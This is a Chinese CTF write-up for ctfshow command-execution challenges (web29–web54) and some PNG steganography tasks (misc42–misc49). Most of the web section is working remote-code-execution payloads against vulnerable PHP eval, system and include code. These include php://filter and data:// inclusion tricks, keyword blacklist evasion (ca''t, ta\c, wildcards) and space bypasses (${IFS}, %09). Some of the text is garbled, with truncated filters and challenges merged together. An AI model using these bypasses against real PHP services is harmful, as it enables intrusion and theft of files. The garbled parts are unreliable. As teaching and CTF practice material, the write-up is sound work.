目录
命令执行
前言:
web29
web30
web31
web32
web33
web34
web35
web36
web37
web38
web39
web40
web42
web43
web44
web45
web46
web47
web48
web49
web50
web51
web52
web53
web54
总结
misc42
misc43
misc44
misc45
misc46
misc47
misc48
misc49
本文大量参考ThnPkm大佬博客
看题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先查看目录
?c=system('ls');
flag.php index.php
捕获flag.php
?c=system('cat f*');//表示打开当前目录下所有 f开头的文件
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
没有回显,要查看源代码
补充:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 ?c=system('ca\t fla\g.php');
另外可执行 ?c=echo`nl fla''g.php`; 注意nl指令没有回显,要echo出来才有效果
看题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了flag,system,php。因为过滤了system,我们就得选择其他的命令执行函数了
?c=echo `cat f*`;
查看源代码
常见的有如下几个,其中system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` ` 同shell_exec()
看题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
空格被过滤,回顾上面?c=system('cat f*');是有空格的。空格的绕过可以使用%09
?c=echo(`more%09f*`);
补充1
在linux中与cat有类似功能的有如下字符(windows下也可以)
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
找到一个替换的即可。
补充2
在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
补充3
在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义
看题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
连echo和括号都被过滤走了 ,但没过滤双引号
下图为其他不用括号的函数
分号可以用?>代替,但要加上php伪协议来读取
?c=include$_GET[“a”]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
在进行base64解码得到flag
看题
连双引号都被过滤了
闭合前面的php代码,后面的php协议就不会受到正则的约束了
?c=include$_GET[a]?>&a=php://filter/read=convert.base64
-encode/resource=flag.php
看题
这次又多过滤了个分号
前面提到,分号可以被?>代替。同上
?c=include$_GET[a]?>&a=php://filter/read=convert.base64
-encode/resource=flag.php
又增加了过滤(没有什么用),同上
看题
又过滤了数字。不出现数字就行了。同上
看题
过滤了flag,还是个include文件包含,利用伪协议读取flag
data协议
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
解法一,利用base64解码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
解法2:通配符绕过flag
?c=data://text/plain,
看题
多了一个php过滤,使用37解法一
看题
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
后面拼接一个.php,和37解法二同理了。都是在data协议被当做php文件执行
看题
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了中文括号
考无参数RCE无参数RCE
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1
的意思是将命令的输出丢弃,错误输出也丢弃
为了让命令回显,可以进行命令分隔,阶段截断
; //分号
|| //只执行前面那条命令
%0a //
换行符
%26//
&
%26%26//
&&
?c=cat flag.php||
?c=cat flag.php%26//&
?c=cat flag.php%26%26//&&
?c=cat flag.php%0a//换行符
?c=cat flag.php;
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;和cat
在linux中与cat有类似功能的有如下字符(windows下也可以)
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
?c=tac%20flag.php||
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
flag过滤了
?c=tac%20f*.php||
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
空格也过滤了,直接进行空格绕过,用%09代替空格
?c=tac%09f*||
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09
看题
f(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
数字也被绕过了 ,但空格是转义,所以不影响。
*也被绕过了,用?
?c=tac%09f?ag.php||
看题
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
同上就行
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上就行
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上就行
看题
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
好家伙连%09都被过滤了,换一个空格绕过
<
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09
刚开始我输?c=tac 看题 tac终于是过滤掉了,用nl 看题 > < 数字 斜杠 都被禁了,但$取消过滤 空格绕过换种写法${IFS} 空格绕过 > < <> 重定向符 ??? 这是假flag 那我们去根目录看一眼 是flag 发现这回写 ?c=nl${IFS}fl''ag||没有显示 应该加上/ ?c=nl${IFS}/fl''ag|| 或者 看题 先查看目录 ?c=ls$IFS 这就不用分隔符了 看题,查看根目录,发现是flag.php 花里胡哨的,nl用不了了,类似n\l n?l都不行了 vi没被过滤,那就用vi 也可以在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行 用tweakpng打开misc42.png,发现这七个数正好是ctfshow对应的ascii码 把剩下的数也转换,得到flag 提示:错误中隐藏着通往正确答案的道路 用tweakpng打开,不停的报错。那就把报错的crc提取出来,hex转字符得到flag 提示:错误中还隐藏着坑 pngdebugger C:\Users\Goodric\Desktop\misc44.png > 1.txt 这里要把 OK! 换成 1 ,把 FAILED 换成 0,再转字符 借助python 要改变图片格式 直接改后缀名是不行的,必须在网站上转换图片格式。这个网站可以 然后用 binwalk 提取得到flag?c=tac
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09?c=nl${IFS}fl''ag.php||
/?c=ls${IFS}/||
?c=nl$IFS/fla''g||
?c=nl${IFS}/fl''ag||
?c=ta\c${IFS}/fla\g|| //tac还可以这么写。长见识了
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=ls$IFS
?c=nl${IFS}fla''g.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\
?c=vi${IFS}fl??.php
c=grep${IFS}{${IFS}fl??.php
总结
misc42
misc43
misc44
f=open("E:/png-debugger-master/Debug/1.txt","r")
s=f.read()
f.close()
flag=""
for i in s.split():
if "OK!" == i:
flag += "1"
elif "FAILED" ==i:
flag += "0"
print(flag)
print(len(flag))
for i in range(43):
print(chr(int(flag[8*i:8*(i+1)],2)),end="")
misc45